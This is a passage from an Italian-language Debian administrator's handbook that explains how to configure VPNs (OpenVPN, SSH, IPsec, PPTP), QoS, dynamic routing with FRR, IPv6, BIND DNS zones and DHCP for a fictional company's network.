Salvo ulteriori modifiche, i client VPN possono accedere solo al server VPN stesso attraverso l'indirizzo 10.8.0.1. Per fornire ai client l'accesso alla rete locale (192.168.0.0/24) è necessario aggiungere una direttiva push route 192.168.0.0 255.255.255.0 nella configurazione di OpenVPN, in questo modo i client VPN ottengono automaticamente un percorso di rete che gli consente di raggiungere questa rete attraverso la VPN. Inoltre, le macchine sulla rete locale devono anche essere informate che il percorso verso la VPN passa attraverso il server VPN (questo funziona automaticamente quando il server VPN è installato sul gateway). In alternativa, il server VPN può essere configurato per eseguire il mascheramento IP in modo che le connessioni provenienti dai client VPN figurino invece come provenienti dal server VPN (vedere la Sezione 10.1, «Gateway»).

10.3.1.2. Configurazione del client OpenVPN

Anche l'impostazione di un client OpenVPN richiede la creazione di un file di configurazione in /etc/openvpn/. Una configurazione standard può essere ottenuta usando /usr/share/doc/openvpn/examples/sample-config-files/client.conf come punto di partenza. La direttiva remote vpn.falcot.com 1194 indica l'indirizzo e la porta del server OpenVPN. Le direttive ca, cert e key devono essere modificate per indicare le posizioni dei file di chiave.

Se la VPN non deve essere fatta partire automaticamente all'avvio, impostare la direttiva AUTOSTART su none nel file /etc/default/openvpn. L'avvio o l'arresto di una determinata connessione VPN è sempre possibile con i comandi systemctl start openvpn@nome start e systemctl stop openvpn@nome stop (dove il nome della connessione corrisponde a quello definito in /etc/openvpn/nome.conf).

Il pacchetto network-manager-openvpn-gnome contiene un'estensione per Network Manager (vedere la Sezione 8.2.5, «Automatizzare la configurazione della rete per gli utenti in roaming») che consente la gestione delle reti private virtuali di OpenVPN. Questo permette ad ogni utente di configurare le connessioni OpenVPN graficamente e di controllarle tramite l'icona di gestione della rete.

10.3.2. Rete privata virtuale con SSH

In realtà ci sono due modi per creare una rete privata virtuale con SSH. La versione storica richiede la creazione di uno strato PPP sul collegamento SSH. Questo metodo è descritto in un documento HOWTO:

→ https://www.tldp.org/HOWTO/ppp-ssh/

Il secondo metodo è più recente, ed è stato introdotto con OpenSSH 4.3. OpenSSH ora può creare interfacce di rete virtuali (tun*) su entrambi i lati di una connessione SSH, e queste interfacce virtuali possono essere configurate esattamente come se fossero interfacce fisiche. Il sistema di tunneling deve essere prima abilitato impostando PermitTunnel a "yes" nel file di configurazione del server SSH (/etc/ssh/sshd_config). Nello stabilire la connessione SSH, la creazione di un tunnel deve essere esplicitamente richiesta con l'opzione -w any:any (any può essere sostituito con il numero desiderato per il dispositivo tun). Questo richiede che l'utente disponga dei privilegi di amministratore su entrambi i lati, così da poter creare il dispositivo di rete (in altre parole, la connessione deve essere stabilita come root).

Entrambi i metodi, permettono di implementare facilmente la creazione di una rete privata virtuale su SSH. Tuttavia, non nella maniera più efficiente: in particolare le VPN che forniscono non sono adatte per elevati livelli di traffico.

La spiegazione è che quando uno stack TCP/IP è incapsulato all'interno di una connessione TCP/IP (per SSH), il protocollo TCP viene utilizzato per due volte: una per la connessione SSH ed una all'interno del tunnel. Questo comporta problemi, soprattutto per il modo in cui TCP si adatta alle condizioni della rete variando i ritardi di timeout. Sul sito riportato di seguito viene descritto il problema in modo più dettagliato:

→ http://sites.inka.de/sites/bigred/devel/tcp-tcp.html

Le VPN su SSH dovrebbero quindi essere limitate a tunnel una tantum senza vincoli di prestazioni.

10.3.3. IPSec

IPsec, nonostante sia lo standard nelle VPN su IP, ha un'implementazione più complessa. Lo stesso motore IPsec è integrato nel kernel Linux; le parti necessarie in spazio utente, il controllo e gli strumenti di configurazione sono forniti dal pacchetto libreswan o dal pacchetto strongswan. Viene qui descritta brevemente la prima di queste opzioni.

Prima di tutto viene installato il pacchetto libreswan. In termini concreti, il file /etc/ipsec.conf di ogni host contiene i parametri usati dagli host per creare i tunnel IPsec (o Security Associations, nella terminologia di IPsec). Sono presenti diversi esempi di configurazione in /usr/share/doc/libreswan/, ma la documentazione in linea di Libreswan ha molti più esempi con spiegazioni:

→ https://libreswan.org/wiki/

Il servizio di IPsec può essere controllato tramite systemctl; per esempio, systemctl start ipsec avvierà il servizio IPsec.

A dispetto del suo status di riferimento, la complessità della configurazione di IPsec limita il suo utilizzo nella pratica. Soluzioni basate su OpenVPN verranno generalmente preferite quando i tunnel richiesti non sono né troppi né troppo dinamici.

ATTENZIONE IPsec e NAT

I firewall NAT e IPsec non lavorano bene insieme: poiché IPsec firma i pacchetti, qualsiasi cambiamento (eventualmente) fatto dal firewall sui pacchetti renderà la firma non valida e i pacchetti verranno rifiutati a destinazione. Varie implementazioni di IPsec includono ora la tecnica NAT-T (NAT Traversal), che fondamentalmente incapsula il pacchetto IPsec all'interno di un pacchetto UDP standard.

SICUREZZA IPsec e firewall

La modalità standard di IPsec prevede lo scambio di dati sulla porta UDP 500 per gli scambi delle chiavi (anche sulla porta UDP 4500 nel caso NAT-T sia in funzione). Inoltre, i pacchetti IPsec utilizzano due protocolli IP dedicati che il firewall deve lasciare passare; la ricezione di questi pacchetti è basata sul loro numero di protocollo, 50 (ESP) e 51 (AH).

10.3.4. PPTP

PPTP (protocollo di tunneling punto a punto: Point to Point Tunneling Protocol) utilizza due canali di comunicazione, uno per i dati di controllo e uno per i dati di traffico; quest'ultimo utilizza il protocollo GRE (incapsulamento generico di instradamento: Generic Routing Encapsulation). Un collegamento PPP standard viene poi stabilito sopra il canale di scambio dei dati.

10.3.4.1. Configurazione del client

Il pacchetto pptp-linux contiene un client PPTP facilmente configurabile per Linux. Le seguenti istruzioni trovano ispirazione nella documentazione ufficiale:

→ http://pptpclient.sourceforge.net/howto-debian.phtml

Gli amministratori della Falcot hanno creato diversi file: /etc/ppp/options.pptp, /etc/ppp/peers/falcot, /etc/ppp/ip-up.d/falcot e /etc/ppp/ip-down.d/falcot.

Esempio 10.2. Il file /etc/ppp/options.pptp

# Opzioni PPP usate per una connessione PPTP lock noauth nobsdcomp nodeflate

Esempio 10.3. Il file /etc/ppp/peers/falcot

# vpn.falcot.com e' il server PPTP pty "pptp vpn.falcot.com --nolaunchpppd" # la connessione si identifichera' come utente 'vpn' user vpn remotename pptp # e' necessaria la cifratura require-mppe-128 file /etc/ppp/options.pptp ipparam falcot

Esempio 10.4. Il file /etc/ppp/ip-up.d/falcot

# Create the route to the Falcot network if [ "$6" = "falcot" ]; then # 192.168.0.0/24 is the (remote) Falcot network ip route add 192.168.0.0/24 dev $1 fi

Esempio 10.5. Il file /etc/ppp/ip-down.d/falcot

# Delete the route to the Falcot network if [ "$6" = "falcot" ]; then # 192.168.0.0/24 is the (remote) Falcot network ip route del 192.168.0.0/24 dev $1 fi

SICUREZZA MPPE

Mettere in sicurezza PPTP implica l'uso della funzionalità di crittografia MPPE (Microsoft Point to Point Encryption), disponibile come modulo nei kernel Debian ufficiali.

10.3.4.2. Configurazione del server

ATTENZIONE PPTP e firewall

I firewall intermedi devono essere configurati per consentire il passaggio dei pacchetti IP che utilizzano il protocollo 47 (GRE). Inoltre, la porta 1723 del server PPTP deve essere aperta in modo che possa attivarsi il canale di comunicazione.

pptpd è il server PPTP per Linux. Il file di configurazione principale, /etc/pptpd.conf, richiede pochissime modifiche: localip (indirizzo IP locale) e remoteip (indirizzo IP remoto). Nell'esempio riportato di seguito, il server PPTP utilizza sempre l'indirizzo 192.168.0.199 e i client PPTP ricevono gli indirizzi IP da 192.168.0.200 a 192.168.0.250.

Esempio 10.6. Il file /etc/pptpd.conf

[..] # TAG: localip # TAG: remoteip # Specifies the local and remote IP address ranges. # # These options are ignored if delegate option is set. # # Any addresses work as long as the local machine takes care of the # routing. But if you want to use MS-Windows networking, you should # use IP addresses out of the LAN address space and use the proxyarp # option in the pppd options file, or run bcrelay. # # You can specify single IP addresses seperated by commas or you can # specify ranges, or both. For example: # # 192.168.0.234,192.168.0.245-249,192.168.0.254 # # IMPORTANT RESTRICTIONS: # # 1. No spaces are permitted between commas or within addresses. # # 2. If you give more IP addresses than the value of connections, # it will start at the beginning of the list and go until it # gets connections IPs. Others will be ignored. # # 3. No shortcuts in ranges! ie. 234-8 does not mean 234 to 238, # you must type 234-238 if you mean this. # # 4. If you give a single localIP, that's ok - all local IPs will # be set to the given one. You MUST still give at least one remote # IP for each simultaneous client. # # (Recommended) #localip 192.168.0.1 #remoteip 192.168.0.234-238,192.168.0.245 # or #localip 192.168.0.234-238,192.168.0.245 #remoteip 192.168.1.234-238,192.168.1.245 localip 192.168.0.199 remoteip 192.168.0.200-250

La configurazione PPP utilizzata da un server PPTP richiede anche alcuni cambiamenti in /etc/ppp/pptpd-options. I parametri importanti sono il nome del server (pptp), il nome di dominio (falcot.com) e gli indirizzi IP per i server DNS e WINS.

Esempio 10.7. Il file /etc/ppp/pptpd-options

# Enable connection debugging facilities. # (see your syslog configuration for where pppd sends to) #debug # Name of the local system for authentication purposes # (must match the second field in /etc/ppp/chap-secrets entries) name pptpd # Optional: domain name to use for authentication ## change the domainname to your local domain domain falcot.com # Authentication ## these are reasonable defaults for WinXXXX clients ## for the security related settings auth refuse-pap refuse-chap refuse-mschap # Require the peer to authenticate itself using MS-CHAPv2 [Microsoft # Challenge Handshake Authentication Protocol, Version 2] authentication. require-mschap-v2 # Require MPPE 128-bit encryption # (note that MPPE requires the use of MSCHAP-V2 during authentication) require-mppe-128 # Network and Routing ## Fill in your addresses ms-dns 192.168.0.1 ms-wins 192.168.0.1 ## Fill in your netmask netmask 255.255.255.0 ## some defaults nodefaultroute proxyarp lock

L'ultimo passaggio prevede la registrazione dell'utente vpn (e la sua password associata) nel file /etc/ppp/chap-secrets. Contrariamente alle altre istanze dove un asterisco (*) potrebbe funzionare, il nome del server deve essere inserito qui in modo esplicito. Inoltre, i client Windows PPTP si identificano con la forma DOMINIO\\UTENTE, anziché fornire il solo nome utente. Questo spiega perché il file cita anche l'utente FALCOT\vpn. È anche possibile specificare i singoli indirizzi IP per gli utenti; un asterisco in questo campo specifica che devono essere utilizzati gli indirizzi dinamici.

Esempio 10.8. Il file /etc/ppp/chap-secrets

# Secrets for authentication using CHAP # client server secret IP addresses vpn pptp f@Lc3au * FALCOT\\vpn pptp f@Lc3au *

SICUREZZA Vulnerabilità in PPTP

La prima implementazione PPTP di Microsoft ha attirato pesanti critiche perché aveva molte vulnerabilità di sicurezza; da allora, la maggior parte sono state risolte nelle versioni più recenti. La configurazione documentata in questa sezione utilizza l'ultima versione del protocollo. Bisogna essere consapevoli però che rimuovere alcune opzioni (ad esempio require-mppe-128 e require-mschap-v2) renderebbe il servizio nuovamente vulnerabile.

10.4. Qualità del servizio (QoS)

10.4.1. Principi e meccanismi

Con qualità del servizio (QoS: Quality of Service) ci si riferisce ad un insieme di tecniche che garantiscono o migliorano la qualità del servizio fornito alle applicazioni. La tecnica più diffusa consiste nel classificare il traffico di rete in categorie e differenziare la gestione del traffico in base alla categoria a cui appartiene. La principale applicazione di questa tecnica di differenziazione dei servizi è il traffic shaping, con il quale si limita la velocità di trasmissione dati in base a connessioni relative ad alcuni servizi e/o host per evitare di saturare la banda disponibile ed il collasso di altri servizi importanti. Il traffic shaping è particolarmente adatto al traffico TCP, poiché questo protocollo adatta automaticamente il traffico in base alla larghezza di banda disponibile.

CULTURA Neutralità della rete e QoS

La neutralità della rete si ottiene quando i fornitori di servizi Internet trattano tutte le comunicazioni allo stesso modo, cioè senza alcuna limitazione di accesso basata su contenuti, utenti, siti web, indirizzi di destinazione, ecc.

La qualità del servizio può essere implementata in una rete Internet neutrale, ma solo se i fornitori di servizi internet non possono addebitare una tariffa speciale per un servizio di qualità superiore.

È anche possibile modificare la priorità del traffico, il che permette di dare priorità a pacchetti relativi a servizi interattivi (ad esempio ssh e telnet) o ai servizi che si occupano solo di piccoli blocchi di dati.

I kernel Debian includono le funzionalità richieste per QoS insieme ai relativi moduli. Questi moduli sono molti e ciascuno di essi fornisce un servizio diverso, in particolare mediante speciali funzionalità di pianificazione per le code dei pacchetti IP; il vasto insieme di funzionalità di pianificazione disponibile copre l'intera gamma delle possibili necessità.

CULTURA LARTC — Instradamento avanzato e controllo del traffico di Linux (Linux Advanced Routing & Traffic Control)

L'HOWTO Linux Advanced Routing & Traffic Control (Instradamento Avanzato per Linux & Controllo del Traffico) è il documento di riferimento che copre tutto quello che c'è da sapere sulla qualità dei servizi di rete.

→ https://www.lartc.org/howto/

10.4.2. Configurazione ed implementazione

Attraverso il comando tc (fornito dal pacchetto iproute) vengono impostati i parametri di QoS. Dal momento che la sua interfaccia è abbastanza complessa, è consigliabile utilizzare strumenti di livello superiore.

10.4.2.1. Ridurre le latenze: wondershaper

Lo scopo principale di wondershaper (nel pacchetto omonimo) è quello di ridurre al minimo le latenze indipendentemente dal carico della rete. Questo risultato è ottenuto limitando il traffico totale a un valore che cade appena sotto il valore di saturazione del collegamento.

Una volta configurata un'interfaccia di rete, l'impostazione della limitazione del traffico è ottenuta eseguendo wondershaper interfaccia velocità_download velocità_upload. L'interfaccia può essere per esempio enp1s0, eth0 o ppp0, entrambe le velocità sono espresse in kilobit al secondo. Il comando wondershaper remove interfaccia disabilita il controllo del traffico sull'interfaccia specificata.

Per una connessione Ethernet, storicamente, questo script viene richiamato subito dopo che l'interfaccia è stata configurata. È possibile ottenere questo risultato aggiungendo le direttive up e down al file /etc/network/interfaces che permettono ai comandi dichiarati di essere eseguiti, rispettivamente dopo che l'interfaccia è stata configurata e prima che sia deconfigurata. O nel caso PPP, creando uno script che esegue wondershaper in /etc/ppp/ip-up.d/ abiliterà il controllo del traffico non appena la connessione sarà attivata. Qui sotto è presente un esempio che utilizza il primo metodo:

Esempio 10.9. Modifiche nel file /etc/network/interfaces

iface eth0 inet dhcp up /sbin/wondershaper eth0 500 100 down /sbin/wondershaper remove eth0

APPROFONDIMENTO Configurazione ottimale

Il file /usr/share/doc/wondershaper/README.Debian.gz descrive più in dettaglio il metodo di configurazione consigliato dal responsabile del pacchetto. In particolare, si consiglia di misurare la velocità di caricamento e scaricamento in modo da valutare al meglio i limiti reali.

10.4.2.2. Configurazione standard

Salvo una specifica configurazione di QoS, il kernel Linux usa lo schedulatore di code pfifo_fast, che fornisce alcune interessanti caratteristiche di per sé. La priorità di ogni pacchetto IP elaborato è basata sul campo DSCP ((Differentiated Services Code Point) del pacchetto stesso; è sufficiente modificare questo campo di 6 bit per sfruttare le funzionalità di schedulazione. Per maggiori informazioni fare riferimento a https://en.wikipedia.org/wiki/Differentiated_services#Class_Selector.

Il campo DSCP può essere impostato da applicazioni che generano i pacchetti IP, o modificato al volo da netfilter. Le seguenti regole sono sufficienti per aumentare la reattività per il servizio SSH di un server, notare che il campo DSCP deve essere impostato in esadecimale:

nft add table ip mangle nft add rule ip mangle PREROUTING tcp sport 22 counter ip dscp set 0x04 nft add rule ip mangle PREROUTING tcp dport 22 counter ip dscp set 0x04

10.5. Instradamento dinamico

Lo strumento di riferimento per l'instradamento dinamico è attualmente frr dal pacchetto omonimo; sostituisce il precedente quagga che a sua volta aveva sostituito zebra, i cui sviluppi sono stati interrotti. Tuttavia, per ragioni di compatibilità, il progetto frr ha mantenuto i nomi dei programmi eseguibili, questo spiega perché più sotto vengano usati comandi zebra.

FONDAMENTALE Instradamento dinamico

L'instradamento dinamico consente ai router di regolare, in tempo reale, i percorsi utilizzati per la trasmissione di pacchetti IP. Ogni protocollo ha i propri metodi per definire i percorsi (calcolare il percorso più breve, utilizzare percorsi annunciati da peer e così via).

Nel kernel di Linux, un instradamento (route) collega un dispositivo di rete ad un insieme di macchine che possono essere raggiunte attraverso questo dispositivo. Il comando ip, quando route è usato come primo argomento, definisce nuovi instradamenti e visualizza quelli esistenti. Il comando route era usato per questo scopo, ma è deprecato e sostituito da ip.

FRR (FRRouting) è un insieme di demoni che collaborano per definire le tabelle di instradamento che il kernel Linux deve utilizzare; ogni protocollo di routing (in particolare BGP, OSPF e RIP) fornisce il proprio demone(i). I demoni zebra e staticd, che sono sempre avviati, raccolgono le informazioni provenienti da altri demoni e gestiscono le tabelle di instradamento statico di conseguenza. Gli altri demoni sono conosciuti come bgpd, ospfd, ospf6d, ripd, ripngd, isisd, ecc.

I demoni vengono abilitati creando il file di configurazione /etc/frr/demone.conf, dove demone è il demone da usare, e il file di configurazione /etc/frr/daemons. Il file di configurazione del demone deve appartenere all'utente e al gruppo frr con permessi 0640 per permettere allo script /etc/init.d/frr e al file del servizio frr.service di systemd di richiamare il demone. Il pacchetto frr contiene esempi di configurazione nella directory /usr/share/doc/frr/examples/.

La configurazione di ciascuno di questi demoni richiede la conoscenza del protocollo di instradamento in questione. Questi protocolli non possono essere descritti in dettaglio qui, ma il pacchetto frr-doc fornisce una spiegazione ampia sotto forma di file sia in formato info che HTML. Gli stessi contenuti possono essere consultati sul sito web:

→ http://docs.frrouting.org/en/latest/

Inoltre, la sintassi è molto vicino all'interfaccia di configurazione di un router standard e gli amministratori di rete si adatteranno rapidamente a frr.

IN PRATICA OSPF, BGP o RIP?

OSPF (Open Shortest Path First) è generalmente il protocollo migliore da utilizzare per il routing dinamico su reti private, ma BGP (Border Gateway Protocol) è più comune per il routing su Internet. RIP (Routing Information Protocol) è piuttosto antico e non viene quasi più utilizzato.

10.6. IPv6

IPv6, successore di IPv4, è una più recente versione del protocollo IP progettata per correggere i suoi difetti, in particolar modo la scarsità di indirizzi IP disponibili. Questo protocollo gestisce il livello di rete, il suo scopo è di fornire una modalità per raggiungere le macchine, di trasmettere i dati verso la loro destinazione prevista e di gestire la frammentazione dei dati se necessario (in altre parole, di dividere i pacchetti in frammenti con una dimensione che dipende dai collegamenti di rete che devono essere utilizzati sul percorso e di ricomporre tali frammenti nel loro giusto ordine all'arrivo).

I kernel Debian includono la gestione IPv6 nel nucleo centrale del kernel (con l'eccezione di alcune architetture compilate con un modulo chiamato ipv6). Strumenti di base come ping e traceroute hanno i loro equivalenti IPv6 in ping6 e traceroute6, disponibili rispettivamente nei pacchetti iputils-ping e iputils-tracepath.

La rete IPv6 è configurata in modo simile a IPv4, in /etc/network/interfaces. Se si vuole rendere questa rete accessibile a livello globale, è necessario assicurarsi di avere un router che supporti il traffico dati IPv6 verso la rete globale IPv6.

Esempio 10.10. Esempio di configurazione IPv6

iface enp7s0 inet6 static address 2001:db8:1234:5::1:1/64 # Disabling auto-configuration # autoconf 0 # The router is auto-configured and has no fixed address # (accept_ra 1). If it had: # gateway 2001:db8:1234:5::1

Le sottoreti IPv6 di solito hanno una maschera a 64 bit. Questo significa che esistono 2⁶⁴ indirizzi distinti all'interno della sottorete. Questo permette a Stateless Address Autoconfiguration (SLAAC) di scegliere un indirizzo in base all'indirizzo MAC dell'interfaccia di rete. Per impostazione predefinita, se SLAAC è attivato nella rete e IPv6 sul computer, il kernel troverà automaticamente i router IPv6 e configurerà le interfacce di rete.

Questo comportamento può avere implicazioni per la privacy. Se si cambia di frequente la rete a cui si è connessi, per esempio con un computer portatile, si potrebbe desiderare che il proprio indirizzo MAC non sia parte del proprio indirizzo IPv6 pubblico. Questo rende più facile identificare lo stesso dispositivo tra reti diverse. Una soluzione a questo problema sono le estensioni per la privacy di IPv6 (che Debian abilita di default se viene rilevata la connettività IPv6 durante l'installazione iniziale), che assegneranno un ulteriore indirizzo generato in modo casuale all'interfaccia, cambiato periodicamente e il suo uso verrà preferito per le connessioni in uscita. Le connessioni in entrata possono ancora utilizzare l'indirizzo generato da SLAAC. L'esempio che segue, per l'uso in /etc/network/interfaces, attiva queste estensioni per la privacy per l'interfaccia enp7s0.

Esempio 10.11. estensioni della privacy di IPv6

iface enp7s0 inet6 auto # Preferisce gli indirizzi assegnati casualmente per le connessioni in uscita. privext 2

SUGGERIMENTO Programmi compilati con IPv6

Molti software devono essere adattati per gestire IPv6. La maggior parte dei pacchetti Debian sono già stati adattati, ma non tutti. Se il vostro pacchetto preferito non funziona ancora con IPv6, si può chiedere aiuto alla mailing-list debian-ipv6. Potrebbero sapere di un sostituto che riconosca IPv6 e potrebbero aprire un bug per tracciare adeguatamente il problema.

→ https://lists.debian.org/debian-ipv6/

Le connessioni IPv6, possono essere limitate allo stesso modo di quelle IPv4. nft può essere utilizzato per creare regole firewall per IPv4 e IPv6 (vedere Sezione 14.2.3, «Sintassi di nft»).

10.6.1. Tunneling

ATTENZIONETunneling IPv6 e firewall

Il tunneling IPv6 su IPv4 (al contrario dell'IPv6 nativo) richiede il firewall per accettare il traffico, che utilizza numero di protocollo IPv4 41.

Se non è disponibile una connessione IPv6 nativa, il metodo alternativo è quello di utilizzare un tunnel su IPv4. Hurricane Electric è un fornitore (gratuito) di questi tunnel:

→ https://tunnelbroker.net

Per utilizzare un tunnel Hurricane Electric, è necessario registrare un account, effettuare l'accesso, selezionare un tunnel libero e modificare il file /etc/network/interfaces con il codice generato.

Se si vuole utilizzare e configurare il computer come un router per la rete locale, è possibile installare e configurare il demone radvd (dal pacchetto omonimo). Questo demone di configurazione per IPv6 ha un ruolo simile a dhcpd nel mondo IPv4.

Il file di configurazione /etc/radvd.conf deve essere creato (vedere /usr/share/doc/radvd/examples/simple-radvd.conf come punto di partenza). Nel nostro caso, l'unico cambiamento richiesto è il prefisso, che deve essere sostituito con quello fornito da Hurricane Electric e può essere trovato nell'output del comando ip a, nel blocco relativo all'interfaccia he-ipv6.

Quindi eseguire systemctl start radvd e la rete IPv6 ora dovrebbe funzionare correttamente.

10.7. Server dei nomi di dominio (DNS)

Il Domain Name Service (DNS) è un componente fondamentale di Internet: mappa i nomi degli host in indirizzi IP (e viceversa), consentendo di utilizzare www.debian.org invece di 130.89.148.77 o 2001:67c:2564:a119::77.

I record DNS sono organizzati in zone, ad ogni zona corrisponde un dominio (o sottodominio) o un intervallo di indirizzi IP (dal momento che gli indirizzi IP vengono generalmente assegnati in campi consecutivi). Un server primario è autorevole sul contenuto di una zona; server secondari, di solito ospitati su macchine separate, servono a fornire copie regolarmente aggiornate della zona primaria.

Ogni zona può contenere diversi tipi di record (Resource Records), questi sono alcuni dei più comuni:

A (record di indirizzi): indirizzo IPv4. Questa è la forma più comune per far puntare un dominio ad un indirizzo IPv4.

CNAME ( record del nome canonico ): alias

MX (mail exchange): un server di posta elettronica. Queste informazioni vengono usate da altri server di posta elettronica per trovare dove inviare e-mail indirizzate ad un determinato indirizzo. Ogni record MX ha una priorità. Viene prima utilizzato il server con la priorità più alta (con il numero più basso, vedere riquadro FONDAMENTALE SMTP ); in caso il primo server non risponda, vengono interrogati i successivi in ordine decrescente di priorità.

PTR (pointer): risoluzione di un indirizzo IP ad un nome. Tale record viene memorizzato in una zona dedicata alla ricerca inversa "reverse DNS" che prende il nome secondo l'intervallo di indirizzi IP. Per esempio, 1.168.192.in-addr.arpa è la zona contenente la risoluzione inversa per tutti gli indirizzi nell'intervallo 192.168.1.0/24.

AAAA (record di indirizzi IPv6): indirizzo IPv6.

NS (name server): associa un nome ad un server di nomi. Ogni dominio deve avere almeno un record NS. Questi record puntano ad un server DNS in grado di rispondere ad interrogazioni relative a questo dominio; di solito puntano ai server primario e secondario per il dominio. Questi record permettono anche la delega DNS. Per esempio, la zona falcot.com può comprendere un record NS per internal.falcot.com, il che significa che un altro server gestisce la zona internal.falcot.com. Naturalmente, questo server deve dichiarare una zona internal.falcot.com.

10.7.1. software DNS

Il server dei nomi di riferimento, Bind, è stato sviluppato ed è mantenuto dall'ISC (Internet Software Consortium). Viene fornito in Debian dal pacchetto bind9. La versione 9 apporta due importanti modifiche rispetto alle versioni precedenti. In primo luogo, il server DNS ora può essere eseguito come utente non privilegiato, in modo che una vulnerabilità di sicurezza nel server non assegni privilegi di root all'attaccante (come si è visto più volte con le versioni 8.x).

Inoltre, Bind supporta lo standard DNSSEC per la firma (e quindi per l'autenticazione) dei record DNS, il che consente di bloccare qualsiasi tentativo di spoofing di questi dati durante attacchi di tipo man-in-the-middle.

CULTURA DNSSEC

Le regole del DNSSEC sono abbastanza complesse; questo spiega in parte perché il suo uso non si è ancora diffuso (anche se coesiste perfettamente con i server DNS ignari del DNSSEC). Per capire tutti i pro ed i contro, è consigliato consultare il seguente articolo.

→ https://en.wikipedia.org/wiki/Domain_Name_System_Security_Extensions

10.7.2. Configurazione di bind

Qualunque sia la versione di bind usata, i file di configurazione hanno la stessa struttura.

Gli amministratori Falcot hanno creato una zona primaria falcot.com per memorizzare le informazioni relative a questo dominio, ed una zona 168.192.in-addr.arpa per la risoluzione inversa degli indirizzi IP nelle reti locali.

ATTENZIONE Nomi delle zone inverse

Le zone inverse hanno un nome particolare. La zona che copre la rete 192.168.0.0/16 deve essere chiamata 168.192.in-addr.arpa: i componenti degli indirizzi IP sono invertiti, e seguiti dal suffisso in-addr.arpa.

Per le reti IPv6, il suffisso è ip6.arpa e gli elementi di indirizzo IP che vengono invertiti sono ogni carattere nella rappresentazione esadecimale completa dell'indirizzo IP. Come tale, la rete 2001:0bc8:31a0::/48 dovrebbe utilizzare una zona denominata 0.a.1.3.8.c.b.0.1.0.0.2.ip6.arpa.

SUGGERIMENTO Verifica del server DNS

Il comando host (nel pacchetto bind9-host) interroga un server DNS, e può essere usato per testare la configurazione del server. Per esempio, host macchina.falcot.com localhost controlla la risposta del server locale per macchina.falcot.com. host indirizzo ip localhost verifica la risoluzione inversa.

Gli estratti di configurazione seguenti, tratti dai file della società Falcot, possono servire come punti di partenza per configurare un server DNS:

Esempio 10.12. Estratto da /etc/bind/named.conf.local

zone "falcot.com" { type master; file "/etc/bind/db.falcot.com"; allow-query { any; }; allow-transfer { 195.20.105.149/32 ; // ns0.xname.org 193.23.158.13/32 ; // ns1.xname.org }; }; zone "internal.falcot.com" { type master; file "/etc/bind/db.internal.falcot.com"; allow-query { 192.168.0.0/16; }; }; zone "168.192.in-addr.arpa" { type master; file "/etc/bind/db.192.168"; allow-query { 192.168.0.0/16; }; };

Esempio 10.13. Estratto da /etc/bind/db.falcot.com

; falcot.com Zone ; admin.falcot.com. => zone contact: admin@falcot.com $TTL 604800 @ IN SOA falcot.com. admin.falcot.com. ( 20040121 ; Serial 604800 ; Refresh 86400 ; Retry 2419200 ; Expire 604800 ) ; Negative Cache TTL ; ; The @ refers to the zone name ("falcot.com" here) ; or to $ORIGIN if that directive has been used ; @ IN NS ns @ IN NS ns0.xname.org. internal IN NS 192.168.0.2 @ IN A 212.94.201.10 @ IN MX 5 mail @ IN MX 10 mail2 ns IN A 212.94.201.10 mail IN A 212.94.201.10 mail2 IN A 212.94.201.11 www IN A 212.94.201.11 dns IN CNAME ns

ATTENZIONE Sintassi di un nome

La sintassi dei nomi delle macchine segue regole severe. Ad esempio, macchina sottintende macchina.dominio. Se il nome di dominio non deve essere aggiunto ad un nome, tale nome deve essere scritto come macchina. (con un punto come suffisso). Per indicare un nome DNS al di fuori del dominio corrente è necessaria una sintassi del tipo macchina.altrodominio.com. (con il punto finale).

Esempio 10.14. Estratto da /etc/bind/db.192.168

; Reverse zone for 192.168.0.0/16 ; admin.falcot.com. => zone contact: admin@falcot.com $TTL 604800 @ IN SOA ns.internal.falcot.com. admin.falcot.com. ( 20040121 ; Serial 604800 ; Refresh 86400 ; Retry 2419200 ; Expire 604800 ) ; Negative Cache TTL IN NS ns.internal.falcot.com. ; 192.168.0.1 -> arrakis 1.0 IN PTR arrakis.internal.falcot.com. ; 192.168.0.2 -> neptune 2.0 IN PTR neptune.internal.falcot.com. ; 192.168.3.1 -> pau 1.3 IN PTR pau.internal.falcot.com.

10.8. DHCP

DHCP (protocollo di configurazione dinamica degli host: Dynamic Host Configuration Protocol) è un protocollo con il quale una macchina può ottenere la configurazione di rete automaticamente al suo avvio. Questo permette di centralizzare la gestione delle configurazioni di rete, e garantire che tutte le macchine desktop abbiano impostazioni simili.

Un server DHCP fornisce molti parametri relativi alla rete. Il più comune di questi è un indirizzo IP e la rete a cui la macchina appartiene, ma può anche fornire altre informazioni, come: server DNS, server WINS, server NTP e così via.

L'autore principale del server DHCP è l'Internet Software Consortium (coinvolto anche nello sviluppo di bind). Il pacchetto Debian corrispondente è isc-dhcp-server.

10.8.1. Configurazione

I primi elementi che devono essere modificati nei file di configurazione del server DHCP (/etc/dhcp/dhcpd.conf e /etc/dhcp/dhcpd6.conf per IPv6) sono il nome di dominio e i server DNS. Se è l'unico server DHCP nella rete locale (come definito dalla propagazione broadcast), deve anche essere abilitata (o decommentata) la direttiva authoritative. Inoltre, è necessario creare anche una sezione subnet che descriva la rete locale e le informazioni di configurazione che devono essere fornite. L'esempio seguente è adatto ad una rete locale 192.168.0.0/24 con un router all'indirizzo 192.168.0.1 che funge da gateway. Gli indirizzi IP disponibili sono compresi nell'intervallo da 192.168.0.128 a 192.168.0.254.

Esempio 10.15. Estratto da /etc/dhcp/dhcpd.conf

# # Sample configuration file for ISC dhcpd for Debian # # The ddns-updates-style parameter controls whether or not the server will # attempt to do a DNS update when a lease is confirmed. We default to the # behavior of the version 2 packages ('none', since DHCP v2 didn't # have support for DDNS.) ddns-update-style interim; # option definitions common to all supported networks... option domain-name "internal.falcot.com"; option domain-name-servers ns.internal.falcot.com; default-lease-time 600; max-lease-time 7200; # If this DHCP server is the official DHCP server for the local # network, the authoritative directive should be uncommented. authoritative; # Use this to send dhcp log messages to a different log file (you also # have to hack syslog.conf to complete the redirection). log-facility local7; # My subnet subnet 192.168.0.0 netmask 255.255.255.0 { option routers 192.168.0.1; option broadcast-address 192.168.0.255; range 192.168.0.128 192.168.0.254; ddns-domainname "internal.falcot.com"; }

10.8.2. DHCP e DNS

Una caratteristica interessante è la registrazione automatica dei client DHCP nella zona DNS, in modo che ogni macchina abbia un nome significativo (piuttosto che qualcosa di impersonale, come machine-192-168-0-131.internal.falcot.com). Per utilizzare questa caratteristica è necessario configurare il server DNS in modo che accetti gli aggiornamenti nella zona DNS internal.falcot.com da parte del server DHCP, e la configurazione di quest'ultimo ad inviare gli aggiornamenti ad ogni registrazione.

